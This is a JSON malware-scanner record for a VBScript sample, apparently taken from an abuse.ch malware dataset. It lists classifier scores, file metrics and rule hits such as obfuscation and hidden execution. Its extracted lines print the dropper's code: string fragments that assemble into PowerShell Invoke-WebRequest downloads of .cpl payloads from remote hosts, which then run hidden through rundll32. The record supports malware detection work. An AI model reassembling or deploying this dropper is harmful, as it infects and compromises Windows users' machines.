{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 1.0, "class": 2 } ], "prob": 1.0, "class": 2, "models": [ { "m": "az", "prob": 0.8985075, "class": 0 }, { "m": "az/vbs", "prob": 1.0, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9983558, 0.99991804 ], "analyzed_at": "2026-05-19T05:56:41Z" }, "path": "0cba8f95a87418faf019a814d7a277762786b89d4dc04af045d02a39329a2293.vbs", "raw": { "v": "4", "fs": [ { "f": "O₃(AsCXe)H₂(Os₂Po₂)", "x": 110, "id": 0, "ms": { "file": { "size": 6565.0 }, "text": { "tab_count": 1.0, "digit_ratio": 0.01, "space_count": 1056.0, "total_lines": 270.0, "char_entropy": 5.01, "unique_chars": 70.0, "lines_over_200": 6.0, "avg_line_length": 23.19, "max_line_length": 384.0, "empty_line_ratio": 0.02, "last_line_length": 20.0, "most_common_char": "\"", "whitespace_ratio": 0.21, "most_common_ratio": 0.07, "line_length_stddev": 45.9, "max_inline_whitespace_run": 2.0, "trailing_whitespace_lines": 1.0 } }, "ss": [ [ 0, "jlcqvq = \"NSBa\"" ], [ 16, "qqmncg = \"ta\\D\"" ], [ 32, "ceffwr = \"amDa\"" ], [ 48, "zxgtoa = \"rogr\"" ], [ 80, "paddys = \"ckup\"" ], [ 96, "uxuyga = \"leSy\"" ], [ 112, "skbhar = \"Scri\"" ], [ 128, "mboeil = \"ptin\"" ], [ 144, "flohot = \"g.Fi\"" ], [ 174, "zsurqt = \"stem\"" ], [ 190, "cldcpx = \"Obje\"" ], [ 206, "andguu = \"-run\"" ], [ 222, "lvmqzw = \"dia.\"" ], [ 238, "gsvmpo = \"msed\"" ], [ 254, "gsgevb = \"-kio\"" ], [ 270, "scpuam = \"file\"" ], [ 286, "njfvgz = \"pedi\"" ], [ 302, "gmnwtz = \"ws10\"" ], [ 318, "nvpotw = \"d.wi\"" ], [ 334, "jybnah = \"Edge\"" ], [ 350, "jwzecr = \"Kios\"" ], [ 366, "wxsgeo = \"xe -\"" ], [ 382, "ckypsi = \" --e\"" ], [ 398, "pusatx = \"ploa\"" ], [ 414, "eekpxj = \"n --\"" ], [ 430, "hexvzu = \"ttps\"" ], [ 446, "kneqow = \"k-ty\"" ], [ 462, "slbkhw = \"kios\"" ], [ 478, "eqoxqp = \"sodw\"" ], [ 494, "kjnobr = \"s/5/\"" ], [ 510, "gxgdtv = \"56/B\"" ], [ 526, "accavu = \"-dir\"" ], [ 542, "naxqtl = \"=C:\\\"" ], [ 558, "cikrby = \"org/\"" ], [ 574, "nswjxk = \"://u\"" ], [ 590, "kfmusv = \"ser-\"" ], [ 606, "nfodck = \"indo\"" ], [ 622, "rgagar = \"cree\"" ], [ 638, "dffntw = \"mmon\"" ], [ 654, "wphzzr = \"irst\"" ], [ 670, "hwcuhz = \"ulls\"" ], [ 686, "yhikgf = \"a/co\"" ], [ 702, "tqeadm = \"no-f\"" ], [ 718, "fuzbim = \".png\"" ], [ 734, "ibvpxd = \" --u\"" ], [ 750, "wxltux = \"data\"" ], [ 766, "snrckw = \"sk h\"" ], [ 782, "bvmkmq = \"wiki\"" ], [ 798, "opbgnm = \"ge.e\"" ], [ 814, "oboecu = \"kime\"" ], [ 830, "fwolpg = \"kPro\"" ], [ 862, "ejfcxi = \"dge-\"" ], [ 878, "rhoarm = \"p.cp\"" ], [ 894, "vmsenu = \"Requ\"" ], [ 910, "plouut = \"voke\"" ], [ 926, "vsexhd = \"ower\"" ], [ 942, "zcdpyt = \".cpl\"" ], [ 958, "cikobv = \"est \"" ], [ 974, "rrdffu = \"z/Kr\"" ], [ 990, "lcviah = \"utfi\"" ], [ 1006, "lrgcbj = \"ooku\"" ], [ 1022, "zjnvru = \"/sbr\"" ], [ 1038, "kenjny = \"-Uri\"" ], [ 1054, "lvfswx = \" htt\"" ], [ 1070, "zpeqmp = \"NSLo\"" ], [ 1086, "nvhdzx = \"/c p\"" ], [ 1102, "mdbwdq = \"l In\"" ], [ 1118, "txopjk = \"acku\"" ], [ 1134, "lgbpub = \"l -O\"" ], [ 1150, "jegjuy = \"rogr\"" ], [ 1166, "sbxqsl = \"DNSL\"" ], [ 1182, "xnjrzm = \"-Web\"" ], [ 1198, "widsje = \"amDa\"" ], [ 1214, "bpcyym = \"DNSB\"" ], [ 1228, "xor", "gO,.-64.exeg56" ], [ 1230, "ikhsqk = \"ps:/\"" ], [ 1246, "xxvozd = \":\\\\P\"" ], [ 1262, "btkcxk = \"evor\"" ], [ 1278, "lrerxi = \"shel\"" ], [ 1294, "uohrdm = \"le C\"" ], [ 1310, "xqamey = \"awl/\"" ], [ 1326, "vmtgyh = \"okup\"" ], [ 1342, "kzabit = \"ta\\\\\"" ], [ 1358, "hrwstc = \"cmd \"" ], [ 1390, "irzrbm = \"p.xy\"" ], [ 1406, "gsygod = \" htt\"" ], [ 1422, "wusrob = \"pl -\"" ], [ 1438, "iyabwe = \"cmd \"" ], [ 1454, "aooasu = \"DNSL\"" ], [ 1470, "jgsplw = \"ooku\"" ], [ 1486, "fgpmov = \"\\DNS\"" ], [ 1502, "pjqxbv = \"p://\"" ], [ 1518, "wyjnjh = \"C:\\\\\"" ], [ 1534, "xejziv = \"/c p\"" ], [ 1550, "khiinw = \"Look\"" ], [ 1566, "vyhbhi = \"Back\"" ], [ 1582, "wizltq = \"43.1\"" ], [ 1598, "ourckf = \"ramD\"" ], [ 1614, "fanrrx = \"-Web\"" ], [ 1630, "ygmloq = \"up\\\\\"" ], [ 1646, "ahjjjq = \"ata\\\"" ], [ 1675, "dnzmif = \"up.c\"" ], [ 1691, "fdqrjj = \"45.1\"" ], [ 1707, "evytqd = \"l In\"" ], [ 1723, "bttwha = \"rawl\"" ], [ 1739, "ptwlvf = \"p.cp\"" ], [ 1755, "dkamab = \"ile \"" ], [ 1771, "uwpvkt = \"/DNS\"" ], [ 1787, "bedgyc = \"67.2\"" ], [ 1803, "nyfhtx = \"shel\"" ], [ 1819, "gttken = \"-Uri\"" ], [ 1835, "ykbohp = \"Requ\"" ], [ 1851, "ktvajt = \"voke\"" ], [ 1867, "unavbf = \"ower\"" ], [ 1883, "chhrbp = \"Outf\"" ], [ 1899, "wtfsoo = \"44/K\"" ], [ 1915, "jyisej = \"Prog\"" ], [ 1931, "bzmuqc = \"est \"" ], [ 1947, "dfmztg = \"/c p\"" ], [ 1963, "mfnbka = \"mDat\"" ], [ 1979, "qkxhfx = \"voke\"" ], [ 1995, "ofacuc = \"SLoo\"" ], [ 2011, "gvalsa = \"ING5\"" ], [ 2027, "uvtpzn = \".cpl\"" ], [ 2043, "elkhds = \" htt\"" ], [ 2059, "spxhnj = \"tfil\"" ], [ 2075, "uhhooi = \"onte\"" ], [ 2091, "ydgtwl = \"shel\"" ], [ 2107, "kjnljf = \"\\\\DN\"" ], [ 2123, "uvlojo = \"ogra\"" ], [ 2139, "lqeecl = \"Requ\"" ], [ 2155, "tiygvb = \"NSBa\"" ], [ 2171, "irastz = \"l In\"" ], [ 2187, "fadcvb = \"hubu\"" ], [ 2203, "vwwizh = \"-Uri\"" ], [ 2235, "kzuxfc = \"-Web\"" ], [ 2251, "klbjua = \"om/X\"" ], [ 2267, "yrxpbv = \"X/ma\"" ], [ 2315, "agmpis = \" -Ou\"" ], [ 2331, "xkcaps = \"nt.c\"" ], [ 2347, "xcmvyl = \"in/D\"" ], [ 2363, "bkwftg = \"/raw\"" ], [ 2379, "tryemk = \"okup\"" ], [ 2395, "jcuatb = \"4YT/\"" ], [ 2411, "tuoqzc = \".git\"" ], [ 2427, "vftrwn = \"est \"" ], [ 2443, "plxzbv = \"cmd \"" ], [ 2459, "lrsrzo = \"ower\"" ], [ 2475, "sxaumi = \"kup.\"" ], [ 2491, "mvmqhh = \"ps:/\"" ], [ 2507, "lyxmed = \"cpl\"" ], [ 2522, "yuxzno = \"serc\"" ], [ 2538, "ooogif = \"NSLo\"" ], [ 2554, "lrmept = \"ckup\"" ], [ 2570, "roqccx = \"ooku\"" ], [ 2586, "wctyzl = \" she\"" ], [ 2602, "pdjujy = \"DNSL\"" ], [ 2618, "wgoanh = \"indo\"" ], [ 2663, "znunsc = \"up\\\\\"" ], [ 2679, "dwqsqp = \"yste\"" ], [ 2695, "rhoyfa = \"rund\"" ], [ 2711, "dnkqec = \"p.cp\"" ], [ 2727, "rmznph = \"C:\\\\\"" ], [ 2759, "lbpfld = \"Back\"" ], [ 2775, "ewlhub = \"_Run\"" ], [ 2791, "ydpfxp = \"ws\\S\"" ], [ 2807, "myihaf = \"ll32\"" ], [ 2823, "rwuoei = \"\\DNS\"" ], [ 2839, "fgijge = \" /b \"" ], [ 2855, "amldpb = \"ramD\"" ], [ 2871, "omhznm = \"tart\"" ], [ 2887, "vaksxw = \".exe\"" ], [ 2903, "bicrnk = \"Prog\"" ], [ 2919, "ovlwqc = \"cmd \"" ], [ 2935, "mwuhhw = \"/c s\"" ], [ 2951, "jdnggz = \"ata\\\"" ], [ 2967, "brwypn = \"m32\\\"" ], [ 2983, "zbivbj = \".dll\"" ], [ 2999, "nzorff = \"trol\"" ], [ 3015, "reotth = \"DLL \"" ], [ 3031, "idqkpn = \"Back\"" ], [ 3047, "tdmago = \"trol\"" ], [ 3063, "rcjtle = \" /b \"" ], [ 3079, "hlzqst = \"DNSL\"" ], [ 3095, "omanvk = \"Prog\"" ], [ 3111, "axhewp = \"/c s\"" ], [ 3127, "wrwgql = \"W64\\\"" ], [ 3143, "hdwfhu = \"DLL \"" ], [ 3159, "lbpthu = \"ll32\"" ], [ 3175, "finqku = \"up\\\\\"" ], [ 3191, "mzosnl = \"cmd \"" ], [ 3207, "vknxmp = \"\\DNS\"" ], [ 3223, "mifkct = \"p.cp\"" ], [ 3239, "cntnkr = \" she\"" ], [ 3271, "qfateu = \"rund\"" ], [ 3287, "stllnb = \"C:\\\\\"" ], [ 3303, "ujdpgs = \".exe\"" ], [ 3319, "uaamzg = \"ws\\S\"" ], [ 3335, "ughxik = \"ata\\\"" ], [ 3351, "rnmdjg = \"_Run\"" ], [ 3383, "sqezlo = \"indo\"" ], [ 3399, "mxywuj = \"ysWO\"" ], [ 3415, "gpkltr = \"tart\"" ], [ 3431, "brsgbc = \".dll\"" ], [ 3447, "dzccgt = \"ramD\"" ], [ 3463, "fyxzaq = \"ooku\"" ], [ 3492, "efnlsl = \"amDa\"" ], [ 3508, "vnathn = \"\\DNS\"" ], [ 3524, "oqhjnb = \"ta\\D\"" ], [ 3540, "lmgvbv = \"rogr\"" ], [ 3556, "ovgwuj = \"up.c\"" ], [ 3588, "lucfzr = \"ckup\"" ], [ 3618, "fhpuwm = \"NSBa\"" ], [ 3634, "nipkyh = \"Look\"" ], [ 3663, "noanrs = \"WScr\"" ], [ 3679, "nloujb = \"ipt.\"" ], [ 3695, "brtefi = \"Shel\"" ], [ 3711, "Dim eoejgp, ndvvor" ], [ 3731, "ndvvor = ufefyb \u0026 zxgtoa \u0026 ceffwr \u0026 qqmncg \u0026 jlcqvq \u0026 paddys" ], [ 3795, "Set eoejgp = CreateObject(skbhar \u0026 mboeil \u0026 flohot \u0026 uxuyga \u0026 zsurqt \u0026 cldcpx \u0026 vlcmpf)" ], [ 3886, "If Not eoejgp.FolderExists(ndvvor) Then" ], [ 3927, "eoejgp.CreateFolder ndvvor" ], [ 3969, "Dim uazdcu" ], [ 3981, "uazdcu = gsvmpo \u0026 opbgnm \u0026 wxsgeo \u0026 gsgevb \u0026 snrckw \u0026 hexvzu \u0026 nswjxk \u0026 pusatx \u0026 nvpotw \u0026 oboecu \u0026 lvmqzw \u0026 cikrby \u0026 bvmkmq \u0026 nj" ], [ 4367, "wqgmnd = hrwstc \u0026 nvhdzx \u0026 vsexhd \u0026 lrerxi \u0026 mdbwdq \u0026 plouut \u0026 xnjrzm \u0026 vmsenu \u0026 cikobv \u0026 kenjny \u0026 lvfswx \u0026 ikhsqk \u0026 zjnvru \u0026 bt" ], [ 4672, "qygolr = iyabwe \u0026 xejziv \u0026 unavbf \u0026 nyfhtx \u0026 evytqd \u0026 ktvajt \u0026 fanrrx \u0026 ykbohp \u0026 bzmuqc \u0026 gttken \u0026 gsygod \u0026 pjqxbv \u0026 fdqrjj \u0026 wi" ], [ 4986, "hhaoxo = plxzbv \u0026 dfmztg \u0026 lrsrzo \u0026 ydgtwl \u0026 irastz \u0026 qkxhfx \u0026 kzuxfc \u0026 lqeecl \u0026 vftrwn \u0026 vwwizh \u0026 elkhds \u0026 mvmqhh \u0026 bkwftg \u0026 tu" ], [ 5345, "bpkool = ovlwqc \u0026 mwuhhw \u0026 omhznm \u0026 fgijge \u0026 adrdkt \u0026 wgoanh \u0026 ydpfxp \u0026 dwqsqp \u0026 brwypn \u0026 rhoyfa \u0026 myihaf \u0026 vaksxw \u0026 wctyzl \u0026 my" ], [ 5624, "evlviw = mzosnl \u0026 axhewp \u0026 gpkltr \u0026 rcjtle \u0026 mcznsw \u0026 sqezlo \u0026 uaamzg \u0026 mxywuj \u0026 wrwgql \u0026 qfateu \u0026 lbpthu \u0026 ujdpgs \u0026 cntnkr \u0026 lb" ], [ 5902, "gocipb = eaesio \u0026 lmgvbv \u0026 efnlsl \u0026 oqhjnb \u0026 fhpuwm \u0026 lucfzr \u0026 vnathn \u0026 nipkyh \u0026 ovgwuj \u0026 niclst" ], [ 6002, "' ozjqti gdoiae WScript.Shell vkvfze" ], [ 6040, "Dim abvzva" ], [ 6052, "Set abvzva = CreateObject(noanrs \u0026 nloujb \u0026 brtefi \u0026 zrrwpg)" ], [ 6116, "' lwjkrk gdoiae uazdcu yxxkdg" ], [ 6147, "abvzva.Run uazdcu, 0, False ' 0 = izmbbe evqhxq, True = lxyeho rbmmqd uazdcu hopsyr" ], [ 6233, "If Not eoejgp.FileExists(gocipb) Then" ], [ 6272, "abvzva.Run wqgmnd, 0, True" ], [ 6351, "abvzva.Run qygolr, 0, True" ], [ 6430, "abvzva.Run hhaoxo, 0, True" ], [ 6470, "abvzva.Run bpkool, 0, False" ], [ 6499, "abvzva.Run evlviw, 0, False" ], [ 6528, "' lusxtw rbbsyv" ], [ 6545, "Set abvzva = Nothing" ] ], "sz": 6565, "ts": [ { "c": 0.699999988079071, "d": "WScript.Shell object reference", "e": [ "WScript.Shell" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell", "l": 3 }, { "c": 0.800000011920929, "d": "Instantiates WScript.Shell object", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/wsh/file::wscript-shell-object", "l": 3 }, { "a": "T1027", "c": 0.8999999761581421, "d": "VBScript CreateObject with concatenated ProgID", "e": [ "CreateObject(skbhar \u0026 mboeil \u0026 flohot \u0026 uxuyga \u0026 zsurqt \u0026 cldcpx \u0026 vlcmpf)" ], "i": "objectives/anti-static/obfuscation/string/concat::vbs-createobject-concat", "l": 4, "m": "B0032" }, { "a": "T1059.005", "c": 0.8500000238418579, "d": "VBScript hidden execution (0, True)", "e": [ ".Run wqgmnd, 0, True" ], "i": "objectives/execution/interpreter/vbscript/interpreter::vbs-hidden-exec", "l": 4 }, { "c": 1.0, "d": "Nemucod WSH fragment WScr", "e": [ "noanrs = \"WScr\"" ], "i": "well-known/malware/dropper/nemucod::nemucod-wsh-fragment-wscr", "l": 1 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 270.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "a": "T1105", "c": 0.9200000166893005, "d": "WSH runs hidden window", "e": [ ".Run uazdcu, 0" ], "i": "objectives/command-and-control/dropper/execution/wsh::wsh-run-hidden-zero", "l": 4 }, { "c": 0.800000011920929, "d": "WScript.Shell object string", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/com/object::wscript-shell-literal", "l": 3 }, { "c": 0.800000011920929, "d": "Hardcoded Windows root path (C:\\, D:\\, etc.)", "e": [ "\"C:\\P" ], "i": "micro-behaviors/fs/path/os::hardcoded-windows-root", "l": 2 }, { "c": 1.0, "d": "Windows path-like string pattern", "e": [ "C:\\\\\"" ], "i": "micro-behaviors/data/text/path::windows-path-like-string", "l": 2 }, { "c": 0.8799999952316284, "d": "Shell or CreateObject invocation", "e": [ "CreateObject(" ], "i": "micro-behaviors/process/create/macro/office::shell-or-createobject-call", "l": 3 } ], "sha": "0cba8f95a87418faf019a814d7a277762786b89d4dc04af045d02a39329a2293", "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2026-01/0cba8f95a87418faf019a814d7a277762786b89d4dc04af045d02a39329a2293.vbs", "type": "vbs" } ], "tv": "012f9" } }